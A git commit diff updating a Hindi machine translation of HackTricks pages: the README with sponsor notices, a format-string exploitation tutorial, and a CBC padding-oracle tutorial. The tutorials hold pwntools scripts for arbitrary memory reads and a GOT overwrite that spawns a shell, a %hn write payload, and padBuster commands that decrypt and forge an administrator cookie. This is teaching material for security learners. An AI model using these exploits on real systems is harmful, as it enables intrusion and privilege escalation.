Translated ['README.md', 'binary-exploitation/format-strings/README.md',

This commit is contained in:
Translator 2024-11-09 13:31:18 +00:00
parent 238a1f0d65
commit 4ac3f04c59
43 changed files with 1210 additions and 799 deletions

View file

@ -8,23 +8,23 @@ _Hacktricks लोगो और मोशन डिज़ाइन द्वा
**विकि में आपका स्वागत है जहाँ आपको हर हैकिंग ट्रिक/तकनीक/जो भी मैंने CTFs, वास्तविक जीवन के ऐप्स, शोध पढ़ने और समाचारों से सीखा है, मिलेगा।**
{% endhint %}
शुरू करने के लिए इस पृष्ठ का पालन करें जहाँ आपको **विशिष्ट प्रवाह** मिलेगा जो **आपको एक या अधिक मशीनों पर पेंटेस्टिंग करते समय पालन करना चाहिए:**
शुरू करने के लिए इस पृष्ठ का पालन करें जहाँ आपको **विशिष्ट प्रवाह** मिलेगा जो **आपको एक या अधिक मशीनों का परीक्षण करते समय पालन करना चाहिए:**
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
{% endcontent-ref %}
## Corporate Sponsors
## कॉर्पोरेट प्रायोजक
### [STM Cyber](https://www.stmcyber.com)
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) एक महान साइबर सुरक्षा कंपनी है जिसका नारा है **HACK THE UNHACKABLE**। वे अपने स्वयं के शोध करते हैं और **कई मूल्यवान साइबर सुरक्षा सेवाएं** जैसे पेंटेस्टिंग, रेड टीमें और प्रशिक्षण प्रदान करने के लिए अपने स्वयं के हैकिंग उपकरण विकसित करते हैं।
[**STM Cyber**](https://www.stmcyber.com) एक महान साइबर सुरक्षा कंपनी है जिसका नारा है **HACK THE UNHACKABLE**। वे अपने स्वयं के शोध करते हैं और **कई मूल्यवान साइबर सुरक्षा सेवाएँ** जैसे कि pentesting, Red teams और प्रशिक्षण प्रदान करने के लिए अपने स्वयं के हैकिंग उपकरण विकसित करते हैं।
आप उनके **ब्लॉग** को [**https://blog.stmcyber.com**](https://blog.stmcyber.com) पर देख सकते हैं।
**STM Cyber** भी हैकट्रिक्स जैसी साइबर सुरक्षा ओपन-सोर्स परियोजनाओं का समर्थन करता है :)
**STM Cyber** भी HackTricks जैसे साइबर सुरक्षा ओपन-सोर्स प्रोजेक्ट्स का समर्थन करता है :)
***
@ -42,7 +42,7 @@ _Hacktricks लोगो और मोशन डिज़ाइन द्वा
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
**Intigriti** **यूरोप का #1** एथिकल हैकिंग और **बग बाउंटी प्लेटफॉर्म** है।
**Intigriti** **यूरोप का #1** नैतिक हैकिंग और **बग बाउंटी प्लेटफॉर्म** है।
**बग बाउंटी टिप**: **Intigriti** के लिए **साइन अप करें**, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर हमारे साथ जुड़ें, और **$100,000** तक के बाउंटी कमाना शुरू करें!
@ -55,7 +55,7 @@ _Hacktricks लोगो और मोशन डिज़ाइन द्वा
<figure><img src=".gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) का उपयोग करें ताकि आप दुनिया के **सबसे उन्नत** सामुदायिक उपकरणों द्वारा संचालित **वर्कफ़्लो** को आसानी से बना और स्वचालित कर सकें।
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) का उपयोग करें ताकि आप दुनिया के **सबसे उन्नत** सामुदायिक उपकरणों द्वारा संचालित **कार्यप्रवाह** को आसानी से बना और स्वचालित कर सकें।
आज ही एक्सेस प्राप्त करें:
@ -69,22 +69,24 @@ _Hacktricks लोगो और मोशन डिज़ाइन द्वा
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों ताकि आप अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद कर सकें!
* **हैकिंग अंतर्दृष्टि:** उस सामग्री के साथ संलग्न हों जो हैकिंग के रोमांच और चुनौतियों में गहराई से जाती है
* **हैकिंग अंतर्दृष्टि:** उस सामग्री के साथ जुड़ें जो हैकिंग के रोमांच और चुनौतियों में गहराई से जाती है
* **वास्तविक समय हैक समाचार:** वास्तविक समय की समाचारों और अंतर्दृष्टियों के माध्यम से तेज़-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें
* **नवीनतम घोषणाएँ:** नए बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट के साथ सूचित रहें
**हमारे साथ जुड़ें** [**Discord**](https://discord.com/invite/N3FrSbmwdy) पर और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
**आज ही हमारे साथ जुड़ें** [**Discord**](https://discord.com/invite/N3FrSbmwdy) पर और शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
***
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - आवश्यक पेनिट्रेशन टेस्टिंग टूलकिट
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - आवश्यक पेनिट्रेशन परीक्षण उपकरण किट
<figure><img src=".gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनिट्रेशन टेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी एक पूर्ण पेंटेस्ट चलाएँ जो पुनः प्राप्ति से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स को प्रतिस्थापित नहीं करते - हम कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं ताकि उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस मिल सके।
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर हैकर का दृष्टिकोण प्राप्त करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है।** हमारे 20+ कस्टम उपकरणों का उपयोग करें ताकि हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
\
{% endembed %}
@ -94,10 +96,10 @@ _Hacktricks लोगो और मोशन डिज़ाइन द्वा
<figure><img src=".gitbook/assets/image (1254).png" alt=""><figcaption></figcaption></figure>
**SerpApi** तेज और आसान वास्तविक समय APIs प्रदान करता है ताकि **सर्च इंजन परिणामों** तक पहुँच सके। वे सर्च इंजनों को स्क्रैप करते हैं, प्रॉक्सी को संभालते हैं, कैप्चा हल करते हैं, और आपके लिए सभी समृद्ध संरचित डेटा को पार्स करते हैं।
**SerpApi** तेज और आसान वास्तविक समय APIs प्रदान करता है ताकि **सर्च इंजन परिणामों** तक पहुँच प्राप्त की जा सके। वे सर्च इंजनों को स्क्रैप करते हैं, प्रॉक्सी को संभालते हैं, कैप्चा हल करते हैं, और आपके लिए सभी समृद्ध संरचित डेटा को पार्स करते हैं।
SerpApi की योजनाओं में से एक की सदस्यता में विभिन्न सर्च इंजनों को स्क्रैप करने के लिए 50 से अधिक विभिन्न APIs तक पहुँच शामिल है, जिसमें Google, Bing, Baidu, Yahoo, Yandex, और अधिक शामिल हैं।\
अन्य प्रदाताओं के विपरीत, **SerpApi केवल ऑर्गेनिक परिणामों को स्क्रैप नहीं करता**। SerpApi प्रतिक्रियाएँ लगातार सभी विज्ञापनों, इनलाइन छवियों और वीडियो, ज्ञान ग्राफ़, और खोज परिणामों में मौजूद अन्य तत्वों और सुविधाओं को शामिल करती हैं।
अन्य प्रदाताओं के विपरीत, **SerpApi केवल जैविक परिणामों को स्क्रैप नहीं करता है**। SerpApi प्रतिक्रियाएँ लगातार सभी विज्ञापनों, इनलाइन छवियों और वीडियो, ज्ञान ग्राफ़, और खोज परिणामों में मौजूद अन्य तत्वों और सुविधाओं को शामिल करती हैं।
वर्तमान SerpApi ग्राहक **Apple, Shopify, और GrubHub** हैं।\
अधिक जानकारी के लिए उनके [**ब्लॉग**](https://serpapi.com/blog/) पर जाएँ, या उनके [**प्लेग्राउंड**](https://serpapi.com/playground) में एक उदाहरण आज़माएँ।\
@ -109,17 +111,17 @@ SerpApi की योजनाओं में से एक की सदस्
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) एक पेशेवर साइबर सुरक्षा कंपनी है जो **एम्स्टर्डम** में स्थित है जो **दुनिया भर में** व्यवसायों को नवीनतम साइबर सुरक्षा खतरों से **सुरक्षित करने** में मदद करती है, **आक्रामक-सुरक्षा सेवाओं** के साथ एक **आधुनिक** दृष्टिकोण प्रदान करती है
[**WebSec**](https://websec.nl) एक पेशेवर साइबर सुरक्षा कंपनी है जो **एम्स्टर्डम** में स्थित है जो **दुनिया भर** में व्यवसायों को नवीनतम साइबर सुरक्षा खतरों से **सुरक्षित करने** में मदद करती है, **आक्रामक-सुरक्षा सेवाएँ** प्रदान करके एक **आधुनिक** दृष्टिकोण के साथ
WebSec एक **ऑल-इन-वन सुरक्षा कंपनी** है जिसका अर्थ है कि वे सब कुछ करते हैं; पेंटेस्टिंग, **सुरक्षा** ऑडिट, जागरूकता प्रशिक्षण, फ़िशिंग अभियान, कोड समीक्षा, शोषण विकास, सुरक्षा विशेषज्ञों का आउटसोर्सिंग और बहुत कुछ।
WebSec एक **ऑल-इन-वन सुरक्षा कंपनी** है जिसका अर्थ है कि वे सब कुछ करते हैं; Pentesting, **सुरक्षा** ऑडिट, जागरूकता प्रशिक्षण, फ़िशिंग अभियान, कोड समीक्षा, शोषण विकास, सुरक्षा विशेषज्ञों का आउटसोर्सिंग और बहुत कुछ।
WebSec के बारे में एक और अच्छी बात यह है कि उद्योग के औसत के विपरीत WebSec **अपनी क्षमताओं में बहुत आत्मविश्वासी है**, इस हद तक कि वे **सर्वश्रेष्ठ गुणवत्ता परिणामों की गारंटी** देते हैं, यह उनके वेबसाइट पर लिखा है "**अगर हम इसे हैक नहीं कर सकते, तो आप इसे नहीं चुकाएँगे!**" अधिक जानकारी के लिए उनके [**वेबसाइट**](https://websec.nl/en/) और [**ब्लॉग**](https://websec.nl/blog/) पर नज़र डालें!
WebSec के बारे में एक और अच्छी बात यह है कि उद्योग के औसत के विपरीत WebSec **अपनी क्षमताओं में बहुत आत्मविश्वास** है, इस हद तक कि वे **सर्वश्रेष्ठ गुणवत्ता परिणामों की गारंटी** देते हैं, यह उनके वेबसाइट पर लिखा है "**अगर हम इसे हैक नहीं कर सकते, तो आप इसका भुगतान नहीं करते!**" अधिक जानकारी के लिए उनके [**वेबसाइट**](https://websec.nl/en/) और [**ब्लॉग**](https://websec.nl/blog/) पर नज़र डालें!
उपरोक्त के अलावा WebSec भी HackTricks का **प्रतिबद्ध समर्थक है।**
इसके अलावा WebSec भी HackTricks का **प्रतिबद्ध समर्थक** है।
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
## License & Disclaimer
## लाइसेंस और अस्वीकरण
उन्हें देखें:
@ -127,7 +129,7 @@ WebSec के बारे में एक और अच्छी बात य
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
{% endcontent-ref %}
## Github Stats
## गिटहब आँकड़े
![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)
@ -140,8 +142,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें ट्विटर पर फॉलो करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
</details>
{% endhint %}

View file

@ -15,13 +15,20 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
{% embed url="https://www.stmcyber.com/careers" %}
## Basic Information
C में **`printf`** एक फ़ंक्शन है जिसका उपयोग **किसी स्ट्रिंग को प्रिंट करने** के लिए किया जा सकता है। इस फ़ंक्शन की **पहली पैरामीटर** जो अपेक्षित है वह है **फॉर्मेटर्स के साथ कच्चा टेक्स्ट****अन्य पैरामीटर** जो अपेक्षित हैं वे हैं **कच्चे टेक्स्ट** से **फॉर्मेटर्स** को **बदलने** के लिए **मान**
C में **`printf`** एक फ़ंक्शन है जिसका उपयोग कुछ स्ट्रिंग को **प्रिंट** करने के लिए किया जा सकता है। इस फ़ंक्शन की **पहली पैरामीटर** जो अपेक्षित है वह है **फॉर्मेटर्स के साथ कच्चा टेक्स्ट****अन्य पैरामीटर** जो अपेक्षित हैं वे हैं **कच्चे टेक्स्ट** से **फॉर्मेटर्स** को **बदलने** के लिए **मान**
अन्य संवेदनशील फ़ंक्शन हैं **`sprintf()`** और **`fprintf()`**।
अन्य कमजोर फ़ंक्शन हैं **`sprintf()`** और **`fprintf()`**।
संवेदनशीलता तब प्रकट होती है जब **हमलावर टेक्स्ट को इस फ़ंक्शन के पहले तर्क के रूप में उपयोग किया जाता है**। हमलावर एक **विशेष इनपुट तैयार करने** में सक्षम होगा जो **printf फॉर्मेट** स्ट्रिंग क्षमताओं का दुरुपयोग करके किसी भी पते (पढ़ने योग्य/लिखने योग्य) में **कोई भी डेटा पढ़ने और लिखने** के लिए। इस तरह से **मनमाना कोड निष्पादित** करने में सक्षम होना।
कमजोरी तब प्रकट होती है जब **हमलावर टेक्स्ट को इस फ़ंक्शन के पहले तर्क के रूप में उपयोग किया जाता है**। हमलावर एक **विशेष इनपुट तैयार करने में सक्षम होगा जो** **printf फॉर्मेट** स्ट्रिंग क्षमताओं का दुरुपयोग करके किसी भी पते (पढ़ने योग्य/लिखने योग्य) में **कोई भी डेटा पढ़ने और लिखने** के लिए। इस तरह से **मनमाने कोड को निष्पादित** करने में सक्षम होना।
#### Formatters:
```bash
@ -66,7 +73,7 @@ return 0;
```
### **Pointers तक पहुँचना**
फॉर्मेट **`%<n>$x`**, जहाँ `n` एक संख्या है, printf को यह संकेत करने की अनुमति देता है कि n पैरामीटर (स्टैक से) का चयन करें। इसलिए, यदि आप printf का उपयोग करके स्टैक से 4वें पैरामीटर को पढ़ना चाहते हैं, तो आप कर सकते हैं:
फॉर्मेट **`%<n>$x`**, जहाँ `n` एक संख्या है, printf को यह संकेत करने की अनुमति देता है कि n पैरामीटर (स्टैक से) का चयन करें। इसलिए, यदि आप printf का उपयोग करके स्टैक से 4th पैरामीटर पढ़ना चाहते हैं, तो आप कर सकते हैं:
```c
printf("%x %x %x %x")
```
@ -81,12 +88,12 @@ printf("%4$x")
ध्यान दें कि हमलावर `printf` **पैरामीटर को नियंत्रित करता है, जिसका अर्थ है कि** उसका इनपुट `printf` के कॉल होने पर स्टैक में होगा, जिसका अर्थ है कि वह स्टैक में विशिष्ट मेमोरी पते लिख सकता है।
{% hint style="danger" %}
एक हमलावर जो इस इनपुट को नियंत्रित करता है, वह **स्टैक में मनमाना पता जोड़ने में सक्षम होगा और `printf` को उन्हें एक्सेस करने के लिए मजबूर करेगा**। अगले अनुभाग में इस व्यवहार का उपयोग कैसे करें, यह समझाया जाएगा।
एक हमलावर जो इस इनपुट को नियंत्रित करता है, वह **स्टैक में मनमाने पते को जोड़ने और `printf` को उन्हें एक्सेस करने में सक्षम होगा**। अगले अनुभाग में इस व्यवहार का उपयोग कैसे करें, यह समझाया जाएगा।
{% endhint %}
## **मनमाना पढ़ना**
फॉर्मेटर **`%n$s`** का उपयोग करना संभव है ताकि **`printf`** **n स्थिति** में स्थित **पते** को प्राप्त करे, उसके बाद और **इसे एक स्ट्रिंग के रूप में प्रिंट करे** (जब तक 0x00 नहीं मिलता)। तो यदि बाइनरी का बेस पता **`0x8048000`** है, और हम जानते हैं कि उपयोगकर्ता इनपुट स्टैक में चौथी स्थिति से शुरू होता है, तो बाइनरी की शुरुआत को प्रिंट करना संभव है:
फॉर्मेटर **`%n$s`** का उपयोग करना संभव है ताकि **`printf`** **n स्थिति** में स्थित **पते** को प्राप्त कर सके, इसके बाद और **इसे एक स्ट्रिंग के रूप में प्रिंट करे** (जब तक 0x00 नहीं मिलता)। इसलिए यदि बाइनरी का बेस पता **`0x8048000`** है, और हम जानते हैं कि उपयोगकर्ता इनपुट स्टैक में चौथे स्थान पर शुरू होता है, तो बाइनरी की शुरुआत को प्रिंट करना संभव है:
```python
from pwn import *
@ -142,9 +149,9 @@ p.close()
### कितनी उपयोगी
मनमाने पढ़ने उपयोगी हो सकते हैं:
मनमाने पढ़ने से निम्नलिखित में मदद मिल सकती है:
* **मेमोरी** से **बाइनरी** को **डंप** करना
* **बाइनरी** को मेमोरी से **डंप** करना
* **संवेदनशील** **जानकारी** संग्रहीत करने वाले मेमोरी के **विशिष्ट भागों** तक **पहुँच** प्राप्त करना (जैसे कि कैनरी, एन्क्रिप्शन कुंजी या कस्टम पासवर्ड जैसे इस [**CTF चुनौती**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) में)
## **मनमाना लिखना**
@ -166,13 +173,13 @@ AAAA.%500\$08x —> Param at offset 500
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
{% endcontent-ref %}
हम एक **फ़ंक्शन** को **ओवरराइट** करने जा रहे हैं जो **उपयोगकर्ता** से अपने **आर्गुमेंट्स** को **प्राप्त** करता है और इसे **`system`** **फ़ंक्शन** की ओर **इशारा** करता है।\
हम एक **फ़ंक्शन** को **ओवरराइट** करने जा रहे हैं जो **उपयोगकर्ता** से अपने **आर्गुमेंट्स** को **प्राप्त** करता है और इसे **`system`** **फ़ंक्शन** की ओर **संकेत** करता है।\
जैसा कि उल्लेख किया गया है, पते को लिखने के लिए आमतौर पर 2 चरणों की आवश्यकता होती है: आप **पहले 2Bytes** का पता लिखते हैं और फिर अन्य 2। ऐसा करने के लिए **`$hn`** का उपयोग किया जाता है।
* **HOB** को पते के 2 उच्चतम बाइट्स के लिए कहा जाता है
* **LOB** को पते के 2 निम्नतम बाइट्स के लिए कहा जाता है
फिर, यह देखते हुए कि फ़ॉर्मेट स्ट्रिंग कैसे काम करता है, आपको **पहले सबसे छोटे** \[HOB, LOB] को लिखना होगा और फिर दूसरे को।
फिर, फ़ॉर्मेट स्ट्रिंग के काम करने के तरीके के कारण, आपको **पहले सबसे छोटे** \[HOB, LOB] को लिखना होगा और फिर दूसरे को।
यदि HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
@ -196,7 +203,7 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
[format-strings-template.md](format-strings-template.md)
{% endcontent-ref %}
या इस बुनियादी उदाहरण से [**यहां**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
या [**यहां**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) से यह बुनियादी उदाहरण:
```python
from pwn import *
@ -215,28 +222,32 @@ p.sendline('/bin/sh')
p.interactive()
```
## फ़ॉर्मेट स्ट्रिंग्स से BOF
## Format Strings to BOF
यह संभव है कि फ़ॉर्मेट स्ट्रिंग भेद्यता की लिखने की क्रियाओं का दुरुपयोग करके **स्टैक के पते में लिखें** और **बफर ओवरफ्लो** प्रकार की भेद्यता का शोषण करें।
यह संभव है कि एक format string vulnerability के write actions का दुरुपयोग करके **stack के addresses में लिखें** और एक **buffer overflow** प्रकार की vulnerability का शोषण करें।
## अन्य उदाहरण और संदर्भ
## Other Examples & References
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
* 32 बिट, कोई रिलरो, कोई कैनरी, nx, कोई पाई, स्टैक से ध्वज लीक करने के लिए फ़ॉर्मेट स्ट्रिंग्स का बुनियादी उपयोग (कार्य निष्पादन प्रवाह को बदलने की आवश्यकता नहीं)
* 32 bit, no relro, no canary, nx, no pie, format strings का बुनियादी उपयोग stack से flag को leak करने के लिए (execution flow को बदलने की आवश्यकता नहीं)
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 बिट, रिलरो, कोई कैनरी, nx, कोई पाई, फ़ॉर्मेट स्ट्रिंग `fflush` के पते को जीतने के फ़ंक्शन (ret2win) के साथ ओवरराइट करने के लिए
* 32 bit, relro, no canary, nx, no pie, format string `fflush` के address को win function (ret2win) के साथ overwrite करने के लिए
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32 बिट, रिलरो, कोई कैनरी, nx, कोई पाई, फ़ॉर्मेट स्ट्रिंग `.fini_array` में मुख्य के अंदर एक पते को लिखने के लिए (ताकि प्रवाह एक बार और लूप हो) और `system` के पते को GOT तालिका में लिखें जो `strlen` की ओर इशारा करता है। जब प्रवाह मुख्य में वापस जाता है, `strlen` उपयोगकर्ता इनपुट के साथ निष्पादित होता है और `system` की ओर इशारा करता है, यह पास किए गए आदेशों को निष्पादित करेगा।
* 32 bit, relro, no canary, nx, no pie, format string main में `.fini_array` के अंदर एक address लिखने के लिए (ताकि flow एक बार और लूप हो) और GOT table में `system` के लिए address लिखने के लिए जो `strlen` की ओर इशारा करता है। जब flow main में वापस जाता है, `strlen` उपयोगकर्ता इनपुट के साथ execute होता है और `system` की ओर इशारा करता है, यह पास किए गए commands को execute करेगा।
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **hacking career** में रुचि रखते हैं और अजेय को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!

View file

@ -15,6 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## CBC - Cipher Block Chaining
In CBC mode the **previous encrypted block is used as IV** to XOR with the next block:
@ -45,7 +49,7 @@ Note how in the last example the **last block was full so another one was genera
## Padding Oracle
जब एक एप्लिकेशन एन्क्रिप्टेड डेटा को डिक्रिप्ट करता है, तो यह पहले डेटा को डिक्रिप्ट करेगा; फिर यह पैडिंग को हटा देगा। पैडिंग की सफाई के दौरान, यदि एक **अमान्य पैडिंग एक पहचानने योग्य व्यवहार को ट्रिगर करती है**, तो आपके पास एक **पैडिंग ओरेकल भेद्यता** है। पहचानने योग्य व्यवहार एक **त्रुटि**, **परिणामों की कमी**, या एक **धीमी प्रतिक्रिया** हो सकत है।
जब एक एप्लिकेशन एन्क्रिप्टेड डेटा को डिक्रिप्ट करता है, तो यह पहले डेटा को डिक्रिप्ट करेगा; फिर यह पैडिंग को हटा देगा। पैडिंग की सफाई के दौरान, यदि एक **अमान्य पैडिंग एक पता लगाने योग्य व्यवहार को ट्रिगर करती है**, तो आपके पास एक **पैडिंग ओरेकल भेद्यता** है। पता लगाने योग्य व्यवहार एक **त्रुटि**, **परिणामों की कमी**, या एक **धीमी प्रतिक्रिया** हो सकत है।
यदि आप इस व्यवहार का पता लगाते हैं, तो आप **एन्क्रिप्टेड डेटा को डिक्रिप्ट** कर सकते हैं और यहां तक कि **किसी भी स्पष्ट पाठ को एन्क्रिप्ट** कर सकते हैं।
@ -61,23 +65,23 @@ perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -e
```
**Encoding 0** का मतलब है कि **base64** का उपयोग किया गया है (लेकिन अन्य उपलब्ध हैं, मदद मेनू की जांच करें)।
आप इस कमजोरियों का **दुरुपयोग करके नए डेटा को एन्क्रिप्ट** भी कर सकते हैं। उदाहरण के लिए, कल्पना करें कि कुकी की सामग्री "**_**user=MyUsername**_**" है, तो आप इसे "\_user=administrator\_" में बदल सकते हैं और एप्लिकेशन के अंदर विशेषाधिकार बढ़ा सकते हैं। आप इसे `paduster` का उपयोग करके -plaintext** पैरामीटर निर्दिष्ट करके भी कर सकते हैं:
आप इस कमजोरियों का **दुरुपयोग करके नए डेटा को एन्क्रिप्ट कर सकते हैं। उदाहरण के लिए, कल्पना करें कि कुकी की सामग्री "**_**user=MyUsername**_**" है, तो आप इसे "\_user=administrator\_" में बदल सकते हैं और एप्लिकेशन के अंदर विशेषाधिकार बढ़ा सकते हैं। आप इसे `paduster` का उपयोग करके -plaintext** पैरामीटर निर्दिष्ट करके भी कर सकते हैं:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
यदि साइट कमजोर है तो `padbuster` स्वचालित रूप से यह पता लगाने की कोशिश करेगा कि पैडिंग त्रुटि कब होती है, लेकिन आप **-error** पैरामीटर का उपयोग करके त्रुटि संदेश को भी इंगित कर सकते हैं।
यदि साइट कमजोर है `padbuster` स्वचालित रूप से यह पता लगाने की कोशिश करेगा कि पैडिंग त्रुटि कब होती है, लेकिन आप **-error** पैरामीटर का उपयोग करके त्रुटि संदेश को भी इंगित कर सकते हैं।
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
### सिद्धांत
### The theory
**संक्षेप में**, आप सभी **विभिन्न पैडिंग** बनाने के लिए उपयोग किए जा सकने वाले सही मानों का अनुमान लगाकर एन्क्रिप्टेड डेटा को डिक्रिप्ट करना शुरू कर सकते हैं। फिर, पैडिंग ऑरेकल अटैक अंत से शुरू होकर सही मान का अनुमान लगाते हुए बाइट्स को डिक्रिप्ट करना शुरू करेगा जो **1, 2, 3, आदि** की पैडिंग बनाता है।
In **सारांश**, आप सभी **विभिन्न पैडिंग** बनाने के लिए उपयोग किए जा सकने वाले सही मानों का अनुमान लगाकर एन्क्रिप्टेड डेटा को डिक्रिप्ट करना शुरू कर सकते हैं। फिर, पैडिंग ऑरेकल हमला अंत से शुरू होकर सही मान का अनुमान लगाते हुए बाइट्स को डिक्रिप्ट करेगा जो **1, 2, 3, आदि** की पैडिंग बनाता है।
![](<../.gitbook/assets/image (561).png>)
कल्पना करें कि आपके पास कुछ एन्क्रिप्टेड टेक्स्ट है जो **2 ब्लॉक्स** में फैला हुआ है जो **E0 से E15** तक के बाइट्स से बना है।\
